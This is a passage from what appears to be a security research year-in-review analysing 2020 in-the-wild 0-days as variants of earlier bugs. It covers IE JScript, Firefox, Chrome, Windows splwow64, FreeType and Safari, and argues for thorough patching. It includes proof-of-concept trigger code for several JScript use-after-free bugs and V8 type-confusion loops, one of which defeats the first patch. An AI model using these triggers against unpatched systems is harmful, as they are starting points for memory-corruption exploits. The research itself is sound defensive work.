colspan="1" rowspan="1">CVE-2020-6572</td><td class="c32" colspan="1" rowspan="1">CVE-2019-5870CVE-2019-13695</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Microsoft Windows</td><td class="c30" colspan="1" rowspan="1">CVE-2020-0986</td><td class="c32" colspan="1" rowspan="1">CVE-2019-0880*</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Google Chrome/Freetype</td><td class="c30" colspan="1" rowspan="1">CVE-2020-15999</td><td class="c32" colspan="1" rowspan="1">CVE-2014-9665</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Apple Safari</td><td class="c30" colspan="1" rowspan="1">CVE-2020-27930</td><td class="c32" colspan="1" rowspan="1">CVE-2015-0093</td></tr><tr class="c35"><td class="c38" colspan="3" rowspan="1">* vulnerability was also exploited in-the-wild in previous years</td></tr></tbody></table>  <h2 class="c36 c3" id="h.k0ack2noqebb">Internet Explorer JScript CVE-2020-0674</h2>CVE-2020-0674 is the fourth vulnerability that’s been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the <a class="c211" href="https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html">2019 year-in-review</a> we devoted a section to these vulnerabilities. <a class="c211" href="https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/">Google’s Threat Analysis Group attributed</a> all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days.JScript is the legacy Javascript engine in Internet Explorer. While it’s legacy, <a class="c211" href="https://support.microsoft.com/en-us/topic/option-to-disable-jscript-execution-in-internet-explorer-9e3b5ab3-8115-4650-f3d8-e496e7f8e40e">by default it is still enabled</a> in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I’ve included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities.<h3 class="c7 c3" id="h.667740l9k8k0">CVE-2018-8653</h3>In December 2018, it was discovered that <a class="c211" href="https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8653">CVE-2018-8653</a> was being actively exploited. In this vulnerability, the this variable is not tracked by the garbage collector in the isPrototypeof callback. McAfee also wrote a <a class="c211" href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/">write-up going through each step of this exploit</a>. <a id="t.1f8226adda08b392a30970fd8b644091a916c945"></a><a id="t.1"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var objs = new Array();var refs = new Array();var dummyObj = new Object();function getFreeRef(){  // 5. delete prototype objects as well as ordinary objects  for ( var i = 0; i < 10000; i++ ) {    objs[i] = 1;  }  CollectGarbage();  for ( var i = 0; i < 200; i++ )  {    refs[i].prototype = 1;  }  // 6. Garbage collector frees unused variable blocks.  // This includes the one holding the "this" variable  CollectGarbage();  // 7. Boom  alert(this);}// 1. create "special" objects for which isPrototypeOf can be invokedfor ( var i = 0; i < 200; i++ ) {        var arr = new Array({ prototype: {} });        var e = new Enumerator(arr);        refs[i] = e.item();}// 2. create a bunch of ordinary objectsfor ( var i = 0; i < 10000; i++ ) {        objs[i] = new Object();}// 3. create objects to serve as prototypes and set up callbacksfor ( var i = 0; i < 200; i++ ) {        refs[i].prototype = {};        refs[i].prototype.isPrototypeOf = getFreeRef;}// 4. calls isPrototypeOf. This sets up refs[100].prototype as "this" variable// During callback, the "this" variable won't be tracked by the Garbage collector// use different index if this doesn't workdummyObj instanceof refs[100];</td></tr></tbody></table><h3 class="c7 c3" id="h.ine73rgba0in">CVE-2019-1367</h3>In September 2019, <a class="c211" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1367">CVE-2019-1367</a> was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback.<a id="t.43a0a5db0b1d20befc1e52448e47d5adb550749a"></a><a id="t.2"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var spray = new Array();function F() {    // 2. Create a bunch of objects    for (var i = 0; i < 20000; i++) spray[i] = new Object();    // 3. Store a reference to one of them in the arguments array    //    The arguments array isn't tracked by garbage collector    arguments[0] = spray[5000];    // 4. Delete the objects and call the garbage collector    //    All JSCript variables get reclaimed...     for (var i = 0; i < 20000; i++) spray[i] = 1;    CollectGarbage();    // 5. But we still have reference to one of them in the    //    arguments array    alert(arguments[0]);}// 1. Call sort with a custom callback[1,2].sort(F);</td></tr></tbody></table><h3 class="c3 c7" id="h.8h929p3lop4y">CVE-2019-1429</h3>The CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied! In November 2019, Microsoft released another patch to address this gap. <a class="c211" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1429">CVE-2019-1429</a> addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. <a class="c211" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1947">The variant</a> is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback.<a id="t.1e22b404c604206b0862eb75b336baee152ee3ca"></a><a id="t.3"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var spray = new Array();function F() {    // 2. Create a bunch of objects    for (var i = 0; i < 20000; i++) spray[i] = new Object();    // 3. Store a reference to one of them in the arguments array    //    The arguments array isn't tracked by garbage collector    arguments[0] = spray[5000];    // 4. Delete the objects and call the garbage collector    //    All JSCript variables get reclaimed...     for (var i = 0; i < 20000; i++) spray[i] = 1;    CollectGarbage();    // 5. But we still have reference to one of them in the    //    arguments array    alert(arguments[0]);}+  // 1. Cause toJSON callback to fire+  var o = {toJSON:F}+  JSON.stringify(o);-  // 1. Call sort with a custom callback-  [1,2].sort(F);</td></tr></tbody></table><h3 class="c7 c3" id="h.7s5b4t8wlng1">CVE-2020-0674</h3>In January 2020, <a class="c211" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0674">CVE-2020-0674</a> was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1.<a id="t.cb84ed0d0e41c9e179f65374ff4d12c9a051426f"></a><a id="t.4"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var spray = new Array();+  function F(arg1, arg2) {-  function F() {    // 2. Create a bunch of objects    for (var i = 0; i < 20000; i++) spray[i] = new Object();    // 3. Store a reference to one of them in one of the named arguments    //    The named arguments aren't tracked by garbage collector+    arg1 = spray[5000];-    arguments[0] = spray[5000];    // 4. Delete the objects and call the garbage collector    //    All JScript variables get reclaimed...     for (var i = 0; i < 20000; i++) spray[i] = 1;    CollectGarbage();    // 5. But we still have reference to one of them in    //   a named argument+    alert(arg1);-    alert(arguments[0]);}// 1. Call sort with a custom callback[1,2].sort(F);</td></tr></tbody></table><h3 class="c7 c3" id="h.n3s7fz70dd0k">CVE-2020-0968</h3>Unfortunately CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched <a class="c211" href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968">CVE-2020-0968</a>, another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild (see the revisions section at the bottom of the <a class="c211" href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968">advisory</a>). <a id="t.e6bf02b53677f0afb1adc9e2d195428f0079f5f2"></a><a id="t.5"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var spray = new Array();function f1() {  alert('callback 1');  return spray[6000];}function f2() {  alert('callback 2');  spray = null;  CollectGarbage();  return 'a'}function boom() {  var e = o1;  var d = o2;  // 3. the first callback (e.toString) happens  //    it returns one of the string variables  //    which is stored in a temporary variable  //    on the stack, not tracked by garbage collector  // 4. Second callback (d.toString) happens  //    There, string variables get freed  //    and the space reclaimed  // 5. Crash happens when attempting to access  //    string content of the temporary variable  var b = e + d;  alert(b);}// 1. create two objects with toString callbacksvar o1 = { toString: f1 };var o2 = { toString: f2 };// 2. create a bunch of string variablesfor (var a = 0; a < 20000; a++) {  spray[a] = "aaa";}boom();</td></tr></tbody></table>In addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of “plug and play” quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit. <h2 class="c36 c3" id="h.o5e89hxj78l">Firefox CVE-2020-6820</h2>Mozilla patched <a class="c211" href="https://www.mozilla.org/en-US/security/advisories/mfsa2020-11/">CVE-2020-6820 in Firefox with an out-of-band security update</a> in April 2020. It is a use-after-free in the Cache subsystem. CVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl (must be the Parent which lives in the browser process in order to get the use-after-free in the browser process; the Child would only provide in renderer) still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free.The execution patch for CVE-2020-6820 is:<a id="t.3234b37aec7a6c3a6791502170cd32aec509fe5b"></a><a id="t.6"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">StreamList::CloseAll ← Patched function  CacheStreamControlParent::CloseAll    CacheStreamControlParent::NotifyCloseAll      StreamControl::CloseAllReadStreams        For each stream:           ReadStream::Inner::CloseStream            ReadStream::Inner::Close              ReadStream::Inner::NoteClosed                …                StreamControl::NoteClosed                  StreamControl::ForgetReadStream                                   CacheStreamControlParent/Child::NoteClosedAfterForget                      CacheStreamControlParent::RecvNoteClosed                        StreamList::NoteClosed                          If StreamList is empty && mStreamControl:                           CacheStreamControlParent::Shutdown                             Send__delete(this) ← FREED HERE!    PCacheStreamControlParent::SendCloseAll ← Used here in call to Id()</td></tr></tbody></table>CVE-2020-6820 is a variant of an internally found Mozilla vulnerability, <a class="c211" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1507180">Bug 1507180</a>. 1507180 was discovered in November 2018 and <a class="c211" href="https://hg.mozilla.org/mozilla-central/rev/cdf525897bff">patched in December 2019</a>. 1507180 is a use-after-free of the ReadStream in mReadStreamList in StreamList::CloseAll. While it was patched in December, <a class="c211" href="https://hg.mozilla.org/mozilla-central/rev/25beb671c14a">an explanatory comment</a> for why the December 2019 patch was needed was added in early March 2020. For 150718 the execution path was the same as for CVE-2020-6820 except that the the use-after-free occurred earlier, in StreamControl::CloseAllReadStreams rather than a few calls “higher” in StreamList::CloseAll. In my personal opinion, I have doubts about whether or not this vulnerability was actually exploited in-the-wild. As far as we know, no one (including myself or Mozilla engineers [<a class="c211" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1626728#c15">1</a>, <a class="c211" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1507180#c10">2</a>]), has found a way to trigger this exploit without shutting down the process. Therefore, exploiting this vulnerability doesn’t seem very practical. However, because it was marked as exploited in-the-wild in the advisory, it remains in our <a class="c211" href="https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=1869060786">in-the-wild tracking spreadsheet</a> and thus included in this list.<h2 class="c36 c3" id="h.u7zhsxie5e9k">Chrome for Android CVE-2020-6572</h2><a class="c211" href="https://chromereleases.googleblog.com/2020/04/stable-channel-update-for-desktop_7.html">CVE-2020-6572</a> is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated.  More specifically, MediaCodecAudioDecoder::Initialize doesn't reset media_crypto_context_ if media_crypto_ has been previously set. This can occur if MediaCodecAudioDecoder::Initialize is called twice, which is explicitly supported. This is problematic when the second initialization uses a different CDM than the first one. Each CDM owns the media_crypto_context_ object, and the CDM itself (cdm_context_ref_) is a `unique_ptr`. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, MediaCodecAudioDecoder still holds a raw pointer to media_crypto_context_ from the old CDM since it wasn't updated, which results in the use-after-free on media_crypto_context_ (for example, in MediaCodecAudioDecoder::~MediaCodecAudioDecoder). This vulnerability that was exploited in-the-wild was reported in April 2020. 7 months prior, in September 2019, Man Yue Mo of Semmle <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=1004730">reported a very similar vulnerability</a>, <a class="c211" href="https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop.html">CVE-2019-13695</a>. CVE-2019-13695 is also a use-after-free on a dangling media_crypto_context_ in MojoAudioDecoderService after releasing the cdm_context_ref_. This vulnerability is essentially the same bug as CVE-2020-6572, it’s just triggered by an error path after initializing MojoAudioDecoderService twice rather than by reinitializing the MediaCodecAudioDecoder.In addition, in August 2019, Guang Gong of Alpha Team, Qihoo 360 reported another similar vulnerability in the same component. The <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=999311">vulnerability</a> is where the CDM could be registered twice (e.g. MojoCdmService::Initialize could be called twice) leading to use-after-free. When MojoCdmService::Initialize was called twice there would be two map entries in cdm_services_, but only one would be removed upon destruction, and the other was left dangling. This vulnerability is <a class="c211" href="https://chromereleases.googleblog.com/2019/09/stable-channel-update-for-desktop.html">CVE-2019-5870</a>. Guang Gong used this vulnerability as a part of an Android exploit chain. He presented on this exploit chain at Blackhat USA 2020, “<a class="c211" href="https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf">TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices</a>”. While one could argue that the vulnerability from Guang Gong is not a variant of the vulnerability exploited in-the-wild, it was at the very least an early indicator that the Mojo CDM code for Android had life-cycle issues and needed a closer look. This <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=999311#c8">was noted in the issue tracker </a>for CVE-2019-5870 and then <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=1004730#c1">brought up again</a> after Man Yue Mo reported CVE-2019-13695.<h2 class="c36 c3" id="h.ejffpv4bguza">Windows splwow64 CVE-2020-0986</h2><a class="c211" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0986">CVE-2020-0986</a> is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. The only difference between CVE-2020-0986 and <a class="c211" href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-0880">CVE-2019-0880</a>, which was also exploited in-the-wild, is that CVE-2019-0880 exploited the memcpy by sending message type 0x75 and CVE-2020-0986 exploits it by sending message type 0x6D. From this <a class="c211" href="https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html">great write-up from ByteRaptors</a> on CVE-2019-0880 the pseudo code that allows the controlling of the memcpy is:<a id="t.a6fa8b5c3c8ad2be97429c1d22237b810a735e00"></a><a id="t.7"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">void GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID thirdAddress){  ...    if(*((BYTE*)(firstAddress + 0x4)) == 0x75){      ULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));      if(memcpyDestinationAddress != NULL){        ULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));        DWORD copySize = *((DWORD*)(firstAddress + 0x28));        memcpy(memcpyDestinationAddress,sourceAddress,copySize);      }    }...}</td></tr></tbody></table>The equivalent pseudocode for CVE-2020-0986 is below. Only the message type (0x75 to 0x6D) and the offsets of the controlled memcpy arguments changed as highlighted below.<a id="t.8dbc0fb11c95a5ee904cce1df18fa4f5f62d385d"></a><a id="t.8"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">void GdiPrinterThunk(LPVOID msgSend, LPVOID msgReply, LPVOID arg3){  ...    if(*((BYTE*)(msgSend + 0x4)) == 0x6D){     ...     ULONG64 srcAddress = **((ULONG64 **)(msgSend + 0xA));      if(srcAddress != NULL){        DWORD copySize = *((DWORD*)(msgSend + 0x40));           if(copySize <= 0x1FFFE) {                ULONG64 destAddress = *((ULONG64*)(msgSend + 0xB));                memcpy(destAddress,sourceAddress,copySize);      }    }...}</td></tr></tbody></table>In addition to CVE-2020-0986 being a trivial variant of a previous in-the-wild vulnerability, CVE-2020-0986 was also not patched completely and the vulnerability was still exploitable even after the patch was applied. This is detailed in the “Exploited 0-days not properly fixed” section below.<h2 class="c3 c36" id="h.3ecniw2v9hbz">Freetype CVE-2020-15999</h2>In October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, <a class="c211" href="https://chromereleases.googleblog.com/2020/10/stable-channel-update-for-desktop_20.html">CVE-2020-15999</a>. <a class="c211" href="https://savannah.nongnu.org/bugs/?59308">The vulnerability is a heap buffer overflow</a> in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. `Load_SBit_Png` processes PNG images embedded in fonts. The image width and height are stored in the PNG header as 32-bit integers. Freetype then truncated them to 16-bit integers. This truncated value was used to calculate the bitmap size and the backing buffer is allocated to that size. However, the original 32-bit width and height values of the bitmap are used when reading the bitmap into its backing buffer, thus causing the buffer overflow.In November 2014, Project Zero team member <a class="c211" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=168">Mateusz Jurczyk reported CVE-2014-9665</a> to Freetype. CVE-2014-9665 is also a heap buffer overflow in the Load_SBit_Png function. This one was triggered differently though. In CVE-2014-9665, when calculating the bitmap size, the size variable is vulnerable to an integer overflow causing the backing buffer to be too small. To patch CVE-2014-9665, <a class="c211" href="http://git.savannah.gnu.org/cgit/freetype/freetype2.git/tree/src/sfnt/pngshim.c?id=54abd22891bd51ef8b533b24df53b3019b5cee81">Freetype added a check to the rows and width</a> prior to calculating the size as shown below.<a id="t.544aaafdb3cb243b450aa049bcdb0901e282420f"></a><a id="t.9"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">if ( populate_map_and_metrics )    {      FT_Long  size;      metrics->width  = (FT_Int)imgWidth;      metrics->height = (FT_Int)imgHeight;      map->width      = metrics->width;      map->rows       = metrics->height;      map->pixel_mode = FT_PIXEL_MODE_BGRA;      map->pitch      = map->width * 4;      map->num_grays  = 256;+      /* reject too large bitmaps similarly to the rasterizer */+      if ( map->rows > 0x7FFF || map->width > 0x7FFF )+      {+        error = FT_THROW( Array_Too_Large );+        goto DestroyExit;+      }      size = map->rows * map->pitch; <- overflow size      error = ft_glyphslot_alloc_bitmap( slot, size );      if ( error )        goto DestroyExit;    }</td></tr></tbody></table>To patch CVE-2020-15999, the vulnerability exploited in the wild in 2020, this check was moved up earlier in the `Load_Sbit_Png` function and changed to `imgHeight` and `imgWidth`, the width and height values that are included in the header of the PNG. <a id="t.7619df884503092ed17583662f4823868b1905a5"></a><a id="t.10"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">     if ( populate_map_and_metrics )     {+      /* reject too large bitmaps similarly to the rasterizer */+      if ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )+      {+        error = FT_THROW( Array_Too_Large );+        goto DestroyExit;+      }+       metrics->width  = (FT_UShort)imgWidth;       metrics->height = (FT_UShort)imgHeight;       map->width      = metrics->width;       map->rows       = metrics->height;       map->pixel_mode = FT_PIXEL_MODE_BGRA;       map->pitch      = map->width * 4;       map->num_grays  = 256;-      /* reject too large bitmaps similarly to the rasterizer */-      if ( map->rows > 0x7FFF || map->width > 0x7FFF )-      {-        error = FT_THROW( Array_Too_Large );-        goto DestroyExit;-      }[...]</td></tr></tbody></table>To summarize: <ul style='padding: 0;' class="c41 lst-kix_ir94vkdxrs7o-0 start"><li style='margin-left: 46pt;' class="c0 c3 c22 li-bullet-0">CVE-2014-9665 caused a buffer overflow by overflowing the size field in the size = map->rows * map->pitch; calculation.</li><li style='margin-left: 46pt;' class="c0 c22 c3 li-bullet-0">CVE-2020-15999 caused a buffer overflow by truncating metrics->width and metrics->height which are then used to calculate the size field, thus causing the size field to be too small.</li></ul>A fix for the root cause of the buffer overflow in November 2014 would have been to bounds check imgWidth and imgHeight prior to any assignments to an unsigned short. Including the bounds check of the height and widths from the PNG headers early would have prevented both manners of triggering this buffer overflow. <h2 class="c36 c3" id="h.c0g67ylrwoty">Apple Safari CVE-2020-27930</h2>This vulnerability is slightly different than the rest in that while it’s still a variant, it’s not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there’s no true “upstream”. However when vulnerabilities were reported in Microsoft’s, Apple’s, or Adobe’s fork, there is a possibility (though no guarantee) that it was also in the others.CVE-2020-27930 vulnerability was used in an exploit chain for iOS. The <a class="c211" href="http://bugs.chromium.org/p/project-zero/issues/detail?id=180">variant, CVE-2015-0993, was reported</a> to Microsoft in November 2014. In CVE-2015-0993, the vulnerability is in the blend operator in Microsoft’s implementation of Adobe’s Type 1/2 Charstring Font Format. The blend operation takes n + 1 parameters. The vulnerability is that it did not validate or handle correctly when n is negative, allowing the font to arbitrarily read and write on the native interpreter stack. <a class="c211" href="https://support.apple.com/en-us/HT211929">CVE-2020-27930</a>, the vulnerability exploited in-the-wild in 2020, is very similar. The vulnerability this time is in the callothersubr operator in Apple’s implementation of Adobe’s Type 1 Charstring Font Format. In the same way as the vulnerability reported in November 2014, callothersubr expects n arguments from the stack. However, the function did not validate nor handle correctly negative values of n, leading to the same outcome of arbitrary stack read/write. Six years after the original vulnerability was reported, a similar vulnerability was exploited in a different project. This presents an interesting question: How do related, but separate, projects stay up-to-date on security vulnerabilities that likely exist in their fork of a common code base? There’s little doubt that reviewing the vulnerability Microsoft fixed in 2015 would help the attackers discover this vulnerability in Apple.<h1 class="c9 c3" id="h.4ehznvuodkxx">Exploited 0-days not properly fixed… 😭</h1>Three vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor. <a id="t.edf72bcd4c78a28db713eae74fa87ed90f591310"></a><a id="t.11"></a><table class="c17"><tbody><tr class="c26"><td class="c12" colspan="1" rowspan="1">Product</td><td class="c12" colspan="1" rowspan="1">Vulnerability that was exploited in-the-wild</td><td class="c12" colspan="1" rowspan="1">2nd patch</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Internet Explorer</td><td class="c12" colspan="1" rowspan="1">CVE-2020-0674</td><td class="c12" colspan="1" rowspan="1">CVE-2020-0968</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Google Chrome</td><td class="c12" colspan="1" rowspan="1">CVE-2019-13764*</td><td class="c12" colspan="1" rowspan="1">CVE-2020-6383</td></tr><tr class="c26"><td class="c12" colspan="1" rowspan="1">Microsoft Windows</td><td class="c12" colspan="1" rowspan="1">CVE-2020-0986</td><td class="c12" colspan="1" rowspan="1">CVE-2020-17008/CVE-2021-1648</td></tr><tr class="c35"><td class="c38" colspan="3" rowspan="1">* when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild</td></tr></tbody></table><h2 class="c36 c3" id="h.1vbp8s70d1dn">Internet Explorer JScript CVE-2020-0674</h2>In the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn’t comprehensively fix all of the variants. Microsoft patched <a class="c211" href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968">CVE-2020-0968</a> in April 2020. We show the trigger in the section above.<h2 class="c36 c3" id="h.djf2g8z23hpx">Google Chrome CVE-2019-13674</h2><a class="c211" href="https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html">CVE-2019-13674</a> in Chrome is an interesting case. When it was <a class="c211" href="https://chromium.googlesource.com/v8/v8/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1">patched in November 2019</a>, it was not known to be exploited in-the-wild. Instead, <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=1028863">it was reported by security researchers Soyeon Park and Wen Xu</a>. Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That’s when he realized that the patch didn’t fix all of the paths to trigger the vulnerability. To read about the vulnerability and the subsequent patches in greater detail, check out Sergei’s blog post, “<a class="c211" href="https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html">Chrome Infinity Bug</a>”. To summarize, the vulnerability is a type confusion in Chrome’s v8 Javascript engine. The issue is in the function that is designed to compute the type of induction variables, the variable that gets increased or decreased by a fixed amount in each iteration of a loop, such as a for loop. The algorithm works only on v8’s integer type though. The integer type in v8 includes a few special values, +Infinity and -Infinity. -0 and NaN do not belong to the integer type though. Another interesting aspect to v8’s integer type is that it is not closed under addition meaning that adding two integers doesn’t always result in an integer. An example of this is +Infinity + -Infinity = NaN. Therefore, the following line is sufficient to trigger CVE-2019-13674. Note that this line will not show any observable crash effects and the road to making this vulnerability exploitable is quite long, check out <a class="c211" href="https://googleprojectzero.blogspot.com/">this blog post</a> if you’re interested! <a id="t.a9314e9b2bd8b19d1e18395634993f466fea284a"></a><a id="t.12"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">for (var i = -Infinity; i < 0; i += Infinity) { }</td></tr></tbody></table><a class="c211" href="https://chromium.googlesource.com/v8/v8.git/+/b8b6075021ade0969c6b8de9459cd34163f7dbe1">The patch</a> that Chrome released for this vulnerability added an explicit check for the NaN case. But the patch made an assumption that leads to it being insufficient: that the loop variable can only become NaN if the sum or difference of the initial value of the variable and the increment is NaN. The issue is that the value of the increment can change inside the loop body. Therefore the following trigger would still work even after the patch was applied.<a id="t.9eb676d3c545b8bdcea88fbbc80c4de5301054de"></a><a id="t.13"></a><table class="c17"><tbody><tr class="c26"><td class="c28" colspan="1" rowspan="1">var increment = -Infinity;var k = 0;// The initial loop value is 0 and the increment is -Infinity.// This is permissible because 0 + -Infinity = -Infinity, an integer.for (var i = 0; i < 1; i += increment) {  if (i == -Infinity) {    // Once the initial variable equals -Infinity (one loop through)   // the increment is changed to +Infinity. -Infinity + +Infinity = NaN    increment = +Infinity;  }  if (++k > 10) {    break;  }}</td></tr></tbody></table>To “revive” the entire exploit, the attacker only needed to change a couple of lines in the trigger to have another working 0-day. <a class="c211" href="https://bugs.chromium.org/p/chromium/issues/detail?id=1051017">This incomplete fix was reported</a> to Chrome in February 2020. <a class="c211" href="https://chromium.googlesource.com/v8/v8.git/+/a2e971c56d1c46f7c71ccaf33057057308cc8484">This patch</a> was more conservative: it bailed as soon as the type detected that increment can be +Infinity or -Infinity. Unfortunately, this patch introduced an additional security vulnerability, which allowed for a wider choice of possible “type confusions”. Again, check out <a class="c211" href="https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html">Sergei’s blog post</a> if you’re interested in more details. This is an example where the exploit is found after the bug was initially reported by security researchers. As an aside, I think this shows why it’s important to work towards “correct & comprehensive” patches in general, not just vulnerabilities known to be exploited in-the-wild. The security industry <a class="c211" href="https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html">knows there is a detection gap</a> in our ability to detect 0-days exploited in-the-wild. We don’t find and detect all exploited 0-days and we certainly don’t find them all in a timely manner. <h2 class="c36 c3" id="h.n50yx180dgki">Windows splwow64 CVE-2020-0986</h2>This vulnerability has already been discussed in the previous section on variants. After <a class="c211" href="https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/">Kaspersky reported that CVE-2020-0986 was actively exploited</a> as a 0-day, I began performing root cause analysis and variant analysis on the vulnerability. The vulnerability was patched in June 2020, but it was only<a class="c211" href="https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/"> disclosed as exploited in-the-wild in August 2020</a>. Microsoft’s patch for CVE-2020-0986 replaced the raw pointers that an attacker could previously send through the LPC message, with offsets. This didn’t fix the root cause vulnerability, just changed how an attacker would trigger the vulnerability. <a class="c211" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2096">This issue was reported</a> to Microsoft in September 2020, including a working trigger. Microsoft released a more complete patch for the vulnerability in January 2021, four months later. This new patch checks that all memcpy operations are only reading from and copying into the buffer of the message.<h1 class="c3 c9" id="h.3yn8y6vmd87d">Correct and comprehensive patches</h1>We’ve detailed how six 0-days that were exploited in-the-wild in 2020 were closely related to vulnerabilities that had been 